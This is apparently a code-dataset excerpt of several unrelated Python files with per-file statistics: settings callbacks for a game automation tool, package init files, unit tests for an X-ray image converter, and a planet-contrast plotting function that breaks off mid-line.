self.option_dic[option_name].get()) def callback_tobeol_rank_9_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_10_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_11_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_12_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_13_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_14_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_15_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_rank_16_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_auto_update_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_custom_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_mal_bag_open_item_limit_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_pet_number_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_pet_set_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_loot_chegwang_boolean_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_loot_chejip_boolean_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_loot_beolmok_boolean_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_muge_percentage_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_search_complete_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_jeoljeon_mode_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_insahagi_page_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_period_reqeat_quest_random_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_period_world_boss_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_naksi_limit_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_migung_gecheok_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_migung_join_limit_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_migung_friend_number_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_migung_guild_number_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_migung_friend_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_migung_guild_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_migung_open_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_migung_repeat_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_migung_join_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_place_7_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_place_6_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_place_5_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_place_4_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_place_3_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_place_2_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_place_1_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_place_0_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_7_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_6_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_5_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_4_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_3_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_2_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_1_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_0_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_tukbat_count_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_tukbat_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chejip_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_money_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_blackstone_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_youngji_chuksa_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_daejeon_count_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_daejeon_giveup_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_daejeon_match_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_tobeol_degrade_number_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_notify_character_death_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_notify_tobeol_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_notify_migung_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_notify_world_boss_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_notify_urewanryo_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_hunt_pet_period_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_complete_sequence_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_complete_period_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_migung_invite_rank_op_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_migung_invite_rank2_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_migung_invite_rank_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_migung_invite_boolean_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_geomungiun2_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_geomungiun_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_jamjeryeok_dolpa_rank_order_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_gwangwonseok_hapseong_auto_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sujeong_hapseong_auto_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_jamjeryeok_dolpa_rank_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_gwangwonseok_hapseong_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sujeong_hapseong_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_character_move_time_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_character_move_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sell_jamjeryoek_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sell_boolean_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sell_item_rank_6_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sell_item_rank_5_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sell_item_rank_4_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sell_item_rank_3_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sell_item_rank_2_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sell_item_rank_1_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sell_item_rank_0_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sell_pummok_4_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sell_pummok_3_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sell_pummok_2_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sell_pummok_1_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_sell_pummok_0_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_hunt_quest_click_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_period_wait_jadong_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_fix_target_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_quest_repeat_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_chracter_change_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_period_potion_shop_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_jadong_boolean_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_pet_number_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_potion_boolean_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_ddolmani_skill_0_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_ddolmani_skill_1_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_ddolmani_skill_2_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_period_gabang_full_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_period_jeoljeon_mode_warning_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_location_y_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_location_x_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_threshold_potion_empty_limit_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_threshold_moving_limit_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_threshold_migung_limit_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_threshold_sudong_limit_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_threshold_combat_box_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_hunt_period_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_loot_box_boolean_booleanvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_box_range_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_potion_thing_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_potion_limit_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_potion_set_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_potion_number_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_period_wait_attack_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_period_migung_lag_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_period_jadong_lag_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_period_mainquest_afk_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_period_mainquest_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_threshold_conversation_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) def callback_threshold_mainquest_stringvar(self, args, option_name): self.set_game_config(option_name, self.option_dic[option_name].get()) # def callback_threshold_gate_stringvar(self, args, option_name): # self.set_game_config(option_name, self.option_dic[option_name].get()) # def callback_threshold_next_stringvar(self, args, option_name): # self.set_game_config(option_name, self.option_dic[option_name].get())

37.008694

146

0.727192

25,381

178,789

4.774083

0.030968

0.096937

0.101014

0.138895

0.942206

0.927392

0.916927

0.890609

0.836735

0.768402

0

0.012164

0.152577

178,789

4,830

147

37.016356

0.787519

0.040534

0

0.47216

0

0.086554

0.015352

0

1

0.049775

false

0.000281

0.002531

0.000562

0.073678

0

null

0

1

0

null

0

6

bac4113677396df983d10be004ce726c560fc4e8

48

py

Python

CursoEmVideo/Aula22/ex112/utilidades/__init__.py

lucashsouza/Desafios-Python

abb5b11ebdfd4c232b4f0427ef41fd96013f2802

[ "MIT" ]

null

CursoEmVideo/Aula22/ex112/utilidades/__init__.py

lucashsouza/Desafios-Python

abb5b11ebdfd4c232b4f0427ef41fd96013f2802

[ "MIT" ]

null

CursoEmVideo/Aula22/ex112/utilidades/__init__.py

lucashsouza/Desafios-Python

abb5b11ebdfd4c232b4f0427ef41fd96013f2802

[ "MIT" ]

null

from Aula22.ex112.utilidades import moeda, dado

24

47

0.833333

7

48

5.714286

1

0

0.116279

0.104167

48

1

48

0.813953

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

bae7bd3ae8dccac76b7c357aad15987fd8171fa1

30

py

Python

src/features/__init__.py

iscfgibarra/mlops-calculadora

a999eb2d65e172317b25de409fb4fdb1c9149c68

[ "FTL" ]

null

src/features/__init__.py

iscfgibarra/mlops-calculadora

a999eb2d65e172317b25de409fb4fdb1c9149c68

[ "FTL" ]

null

src/features/__init__.py

iscfgibarra/mlops-calculadora

a999eb2d65e172317b25de409fb4fdb1c9149c68

[ "FTL" ]

null

from .build_features import *

15

29

0.8

4

30

5.75

1

0

0.133333

30

1

30

0.884615

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

244306a1dc42de557dca8be7f27b4cb2b9e2b304

8,245

py

Python

tests/test_run.py

DiamondLightSource/txrm2tiff

b7ce8e37ac3f599c04bc49be9c72286f6447dec1

[ "BSD-3-Clause" ]

null

tests/test_run.py

DiamondLightSource/txrm2tiff

b7ce8e37ac3f599c04bc49be9c72286f6447dec1

[ "BSD-3-Clause" ]

null

tests/test_run.py

DiamondLightSource/txrm2tiff

b7ce8e37ac3f599c04bc49be9c72286f6447dec1

[ "BSD-3-Clause" ]

null

import unittest from unittest.mock import patch, MagicMock, call from pathlib import Path from tempfile import TemporaryDirectory from random import randint, sample from txrm2tiff.run import run, _batch_convert_files, _convert_and_save, _define_output_suffix, TxrmToImage class TestRun(unittest.TestCase): def test_define_output_suffix(self): txrm_output = _define_output_suffix(Path("file.txrm")) self.assertEqual("file.ome.tiff", str(txrm_output)) xrm_output = _define_output_suffix(Path("file.xrm")) self.assertEqual("file.ome.tif", str(xrm_output)) txrm_output2 = _define_output_suffix(Path("file.extension"), ".txrm") self.assertEqual("file.ome.tiff", str(txrm_output2)) xrm_output2 = _define_output_suffix(Path("file.extension"), ".xrm") self.assertEqual("file.ome.tif", str(xrm_output2)) with self.assertRaises(NameError): _define_output_suffix(Path("file.bad_extension"), None) def test_define_output_suffix(self): txrm_output = _define_output_suffix(Path("file.txrm")) xrm_output = _define_output_suffix(Path("file.xrm")) self.assertEqual("file.ome.tiff", str(txrm_output)) self.assertEqual("file.ome.tif", str(xrm_output)) @patch('txrm2tiff.run.file_can_be_opened', MagicMock(return_value=True)) @patch('txrm2tiff.run.ole_file_works', MagicMock(return_value=True)) @patch.object(TxrmToImage, 'convert') @patch.object(TxrmToImage, 'save') def test_convert_and_save(self, mocked_save, mocked_convert): input_filepath = Path("test_file.txrm") _convert_and_save(input_filepath, None, None, False, None, False) mocked_convert.assert_called_with(input_filepath, None, False, False) mocked_save.assert_called_with(input_filepath.with_suffix(".ome.tiff"), None) @patch('pathlib.Path.mkdir', MagicMock()) @patch('txrm2tiff.run.file_can_be_opened', MagicMock(return_value=True)) @patch('txrm2tiff.run.ole_file_works', MagicMock(return_value=True)) @patch.object(TxrmToImage, 'convert') @patch.object(TxrmToImage, 'save') def test_convert_and_save_with_str_output(self, mocked_save, mocked_convert): input_filepath = Path("test_file.txrm") output_str = "./output/file.extension" _convert_and_save(input_filepath, output_str, None, False, None, False) mocked_convert.assert_called_with(input_filepath, None, False, False) mocked_save.assert_called_with(Path(output_str), None) @patch('pathlib.Path.mkdir', MagicMock()) @patch('txrm2tiff.run.file_can_be_opened', MagicMock(return_value=True)) @patch('txrm2tiff.run.ole_file_works', MagicMock(return_value=True)) @patch.object(TxrmToImage, 'convert') @patch.object(TxrmToImage, 'save') def test_convert_and_save_with_dir_str_output(self, mocked_save, mocked_convert): input_filepath = Path("test_file.txrm") output_str = "./output" _convert_and_save(input_filepath, output_str, None, False, None, False) mocked_convert.assert_called_with(input_filepath, None, False, False) mocked_save.assert_called_with((Path(output_str) / input_filepath.name).with_suffix(".ome.tiff"), None) @patch('pathlib.Path.mkdir', MagicMock()) @patch('txrm2tiff.run.file_can_be_opened', MagicMock(return_value=True)) @patch('txrm2tiff.run.ole_file_works', MagicMock(return_value=True)) @patch.object(TxrmToImage, 'convert') @patch.object(TxrmToImage, 'save') def test_convert_and_save_with_ome_output(self, mocked_save, mocked_convert): input_filepath = Path("test_file.txrm") output_str = "./output/file.ome.tiff" _convert_and_save(input_filepath, output_str, None, False, None, False) mocked_convert.assert_called_with(input_filepath, None, False, False) mocked_save.assert_called_with(Path(output_str), None) @patch('pathlib.Path.mkdir', MagicMock()) @patch('txrm2tiff.run.file_can_be_opened', MagicMock(return_value=True)) @patch('txrm2tiff.run.ole_file_works', MagicMock(return_value=True)) @patch.object(TxrmToImage, 'convert') @patch.object(TxrmToImage, 'save') def test_convert_and_save_with_dir_Path_output(self, mocked_save, mocked_convert): input_filepath = Path("test_file.txrm") output_filepath = Path("./output/") _convert_and_save(input_filepath, output_filepath, None, False, None, False) mocked_convert.assert_called_with(input_filepath, None, False, False) mocked_save.assert_called_with(_define_output_suffix(output_filepath / input_filepath.name), None) @patch('txrm2tiff.run.file_can_be_opened', MagicMock(return_value=True)) @patch('txrm2tiff.run.ole_file_works', MagicMock(return_value=True)) @patch.object(TxrmToImage, 'convert') @patch.object(TxrmToImage, 'save') def test_convert_and_save_with_invalid_output(self, mocked_save, mocked_convert): input_filepath = Path("test_file.txrm") _convert_and_save(input_filepath, 12345, None, False, None, False) mocked_convert.assert_called_with(input_filepath, None, False, False) mocked_save.assert_called_with(_define_output_suffix(input_filepath), None) def test_batch_convert_files_basic(self): with patch('txrm2tiff.run._convert_and_save', MagicMock()) as mocked_convert: with TemporaryDirectory(dir=".") as tmpdir: tmppath = Path(tmpdir) num_files = randint(5, 10) fake_file_list = [] for i in sample(range(0, 99999), num_files): fake_file = (tmppath / f"{i}.txrm") fake_file.touch() fake_file_list.append(fake_file) _batch_convert_files(tmppath, None, False, None, False) call_list = [] for fake_file in fake_file_list: output_path = _define_output_suffix(fake_file) call_list.append(call(fake_file, output_path, None, False, None, False)) mocked_convert.assert_has_calls(call_list, any_order=True) def test_batch_convert_files_with_output_and_deep_dir(self): with patch('txrm2tiff.run._convert_and_save', MagicMock()) as mocked_convert: with TemporaryDirectory(dir=".") as tmp_in: with TemporaryDirectory(dir=".") as tmp_out: tmp_in_path = Path(tmp_in) tmp_out_path = Path(tmp_out) tmp_in_path_deep = tmp_in_path / "deep" / "dirs" tmp_out_deep = tmp_out_path / "deep" / "dirs" tmp_in_path_deep.mkdir(parents=True) num_files = randint(5, 10) fake_file_list = [] for i in sample(range(0, 99999), num_files): fake_file = tmp_in_path_deep / f"{i}.txrm" fake_file.touch() fake_file_list.append(fake_file) _batch_convert_files(tmp_in_path, tmp_out, False, None, False) self.assertTrue(tmp_out_deep.exists()) call_list = [] for fake_file in fake_file_list: output_path = _define_output_suffix(fake_file) call_list.append(call(fake_file, tmp_out_deep / output_path.name, None, False, None, False)) mocked_convert.assert_has_calls(call_list, any_order=True) def test_run_with_file(self): with patch('txrm2tiff.run._convert_and_save', MagicMock()) as mocked_convert: with TemporaryDirectory(dir=".") as tmp_in: tmp_in_filepath = Path(tmp_in) / f"{randint(0,9999)}.xrm" tmp_in_filepath.touch() run(tmp_in_filepath) mocked_convert.assert_called_with(tmp_in_filepath, None, None, False, None, False) def test_run_with_dir(self, ): with patch('txrm2tiff.run._batch_convert_files', MagicMock()) as mocked_batch_convert: with TemporaryDirectory(dir=".") as tmp_in: tmp_in_path = Path(tmp_in) run(tmp_in_path) mocked_batch_convert.assert_called_with(tmp_in_path, None, False, None, False)

50.895062

111

0.682474

1,053

8,245

4.975309

0.091168

0.049819

0.042756

0.054972

0.83432

0.803779

0.774766

0.751288

0.717122

0.707769

0

0.007506

0.208247

8,245

161

112

51.21118

0.795037

0

0.595588

0

0.12262

0.067071

0

0.176471

1

0.088235

false

0

0.044118

0

0.139706

0

null

0

1

0

null

0

6

246a404b1021a184ee855ae4bce253758d0180e0

221

py

Python

sdcclient/monitor/dashboard_converters/__init__.py

dark-vex/sysdig-sdk-python

52962a0c283ca12b93a743ae8c5d1639a12b0998

[ "MIT" ]

45

2016-04-11T16:50:15.000Z

2020-07-11T23:37:51.000Z

sdcclient/monitor/dashboard_converters/__init__.py

dark-vex/sysdig-sdk-python

52962a0c283ca12b93a743ae8c5d1639a12b0998

[ "MIT" ]

74

2016-08-09T17:10:55.000Z

2020-07-09T08:36:16.000Z

sdcclient/monitor/dashboard_converters/__init__.py

dark-vex/sysdig-sdk-python

52962a0c283ca12b93a743ae8c5d1639a12b0998

[ "MIT" ]

39

2016-04-20T17:22:23.000Z

2020-07-08T17:25:52.000Z

from ._dashboard_scope import convert_scope_string_to_expression from ._dashboard_versions import convert_dashboard_between_versions __all__ = ["convert_dashboard_between_versions", "convert_scope_string_to_expression"]

44.2

86

0.895928

27

221

6.518519

0.407407

0.147727

0.204545

0.227273

0.340909

0

0.058824

221

4

87

55.25

0.846154

0

0.307692

0

1

0

false

0

0.666667

0

0.666667

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

03622fc54ba2754357cc93fce949c2675566af30

36

py

Python

python_utility/__init__.py

masked-runner/pi-util

f97a4ff34510c83f4b17e9585bc15cfa66b537dc

[ "MIT" ]

null

python_utility/__init__.py

masked-runner/pi-util

f97a4ff34510c83f4b17e9585bc15cfa66b537dc

[ "MIT" ]

null

python_utility/__init__.py

masked-runner/pi-util

f97a4ff34510c83f4b17e9585bc15cfa66b537dc

[ "MIT" ]

null

from python_utility.util import Util

36

0.888889

6

36

5.166667

0.833333

0

0.083333

36

1

36

0.939394

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

cee7f82b7b019097e056d251ea211c7ec23dbf03

210

py

Python

src/snc/agents/activity_rate_to_mpc_actions/mpc_utils.py

dmcnamee/snc

c2da8c1e9ecdc42c59b9de73224b3d50ee1c9786

[ "Apache-2.0" ]

5

2021-03-24T16:23:10.000Z

2021-11-17T12:44:51.000Z

src/snc/agents/activity_rate_to_mpc_actions/mpc_utils.py

dmcnamee/snc

c2da8c1e9ecdc42c59b9de73224b3d50ee1c9786

[ "Apache-2.0" ]

3

2021-03-26T01:16:08.000Z

2021-05-08T22:06:47.000Z

src/snc/agents/activity_rate_to_mpc_actions/mpc_utils.py

dmcnamee/snc

c2da8c1e9ecdc42c59b9de73224b3d50ee1c9786

[ "Apache-2.0" ]

2

2021-03-24T17:20:06.000Z

2021-04-19T09:01:12.000Z

def check_num_time_steps(num_mpc_steps: int) -> None: assert isinstance(num_mpc_steps, int), "Number of MPC steps is not integer." assert num_mpc_steps >= 1, "Number of MPC steps is zero or negative."

42

80

0.738095

36

210

4.055556

0.527778

0.273973

0.226027

0.191781

0.246575

0

0.005747

0.171429

210

4

81

52.5

0.833333

0

0.358852

0

0.666667

1

0.333333

false

0

0.333333

0

null

1

0

1

0

null

0

1

0

1

0

6

0619922b93f5e2664deba84932c5de592242a858

115

py

Python

pysindy/deeptime/__init__.py

znicolaou/pysindy

f77e85f895da1d3ed98f9a6d84327d984f5d957c

[ "MIT" ]

613

2020-01-22T17:41:47.000Z

2022-03-29T08:35:48.000Z

pysindy/deeptime/__init__.py

znicolaou/pysindy

f77e85f895da1d3ed98f9a6d84327d984f5d957c

[ "MIT" ]

128

2020-01-14T16:30:08.000Z

2022-03-17T13:00:29.000Z

pysindy/deeptime/__init__.py

znicolaou/pysindy

f77e85f895da1d3ed98f9a6d84327d984f5d957c

[ "MIT" ]

161

2020-01-23T09:26:53.000Z

2022-03-31T18:17:59.000Z

from .deeptime import SINDyEstimator from .deeptime import SINDyModel __all__ = ["SINDyEstimator", "SINDyModel"]

19.166667

42

0.791304

11

115

7.909091

0.545455

0.275862

0.413793

0

0.121739

115

5

43

23

0.861386

0

0.208696

0

1

0

false

0

0.666667

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

06312da088425d61259710a69178429c5ce3f8da

179

py

Python

lib/psa/functional.py

Hemanth-Gattu/TrSeg

0bc24004cea943201c8bd289c7b2caeac3753999

[ "MIT" ]

330

2020-04-02T06:14:10.000Z

2022-03-30T07:54:44.000Z

lib/psa/functional.py

zhixuanli/semseg

5e5a0ba7a1fa2cc06f3e8c060cbedff08e160d33

[ "MIT" ]

19

2020-04-10T19:15:27.000Z

2022-02-24T03:14:31.000Z

lib/psa/functional.py

zhixuanli/semseg

5e5a0ba7a1fa2cc06f3e8c060cbedff08e160d33

[ "MIT" ]

53

2020-04-03T06:59:55.000Z

2022-02-15T01:55:17.000Z

"""Functional interface""" from . import functions def psa_mask(input, psa_type=0, mask_H_=None, mask_W_=None): return functions.PSAMask(psa_type, mask_H_, mask_W_)(input)

22.375

63

0.748603

28

179

4.392857

0.571429

0.113821

0

0.006369

0.122905

179

7

64

25.571429

0.77707

0.111732

0

1

0.333333

false

0

0.333333

1

0

1

0

null

0

1

0

null

0

1

0

1

0

6

0635b561796402814ff51cd4e08da51d9c081716

10,358

py

Python

psisim/plots.py

abgibbs/psisim

9b0a6ac4f134cabcd2b10a03e20b2fcb58c8afe7

[ "BSD-3-Clause" ]

4

2019-06-08T01:09:04.000Z

2022-01-19T21:36:20.000Z

psisim/plots.py

abgibbs/psisim

9b0a6ac4f134cabcd2b10a03e20b2fcb58c8afe7

[ "BSD-3-Clause" ]

46

2019-06-26T20:42:19.000Z

2022-03-09T21:52:44.000Z

psisim/plots.py

abgibbs/psisim

9b0a6ac4f134cabcd2b10a03e20b2fcb58c8afe7

[ "BSD-3-Clause" ]

2

2020-07-22T21:28:36.000Z

2021-01-29T22:50:08.000Z

import matplotlib.pyplot as plt import numpy as np import matplotlib.colors as colors def make_plots(): ''' A dummy function. ''' pass def plot_detected_planet_contrasts(planet_table,wv_index,detected,flux_ratios,instrument,telescope, show=True,save=False,ymin=1e-9,ymax=1e-4,xmin=0.,xmax=1.,alt_data=None,alt_label=""): ''' Make a plot of the planets detected at a given wavelenth_index Inputs: planet_table - a Universe.planets table wv_index - the index from the instrument.current_wvs wavelength array to consider detected - a boolean array of shape [n_planets,n_wvs] that indicates whether or not a planet was detected at a given wavelength flux_ratios - an array of flux ratios between the planet and the star at the given wavelength. sape [n_planets,n_wvs] instuemnt - an instance of the psisim.instrument class telescope - an instance of the psisim.telescope class Keyword Arguments: show - do you want to show the plot? Boolean save - do you want to save the plot? Boolean ymin,ymax,xmin,xmax - the limits on the plot alt_data - An optional argument to pass to show a secondary set of data. This could be e.g. detection limits, or another set of atmospheric models alt_label - This sets the legend label for the alt_data ''' fig,ax = plt.subplots(1,1,figsize=(7,5)) seps = np.array([planet_table_entry['AngSep'].to(u.arcsec).value for planet_table_entry in planet_table]) # import pdb; pdb.set_trace() #Plot the non-detections ax.scatter(seps[~detected[:,wv_index]],flux_ratios[:,wv_index][~detected[:,wv_index]], marker='.',label="Full Sample",s=20) # print(seps[~detected[:,wv_index]],flux_ratios[:,wv_index][~detected[:,wv_index]]) masses = np.array([planet_table_entry['PlanetMass'].to(u.earthMass).value for planet_table_entry in planet_table]) # import pdb; pdb.set_trace() # import pdb; pdb.set_trace() #Plot the detections scat = 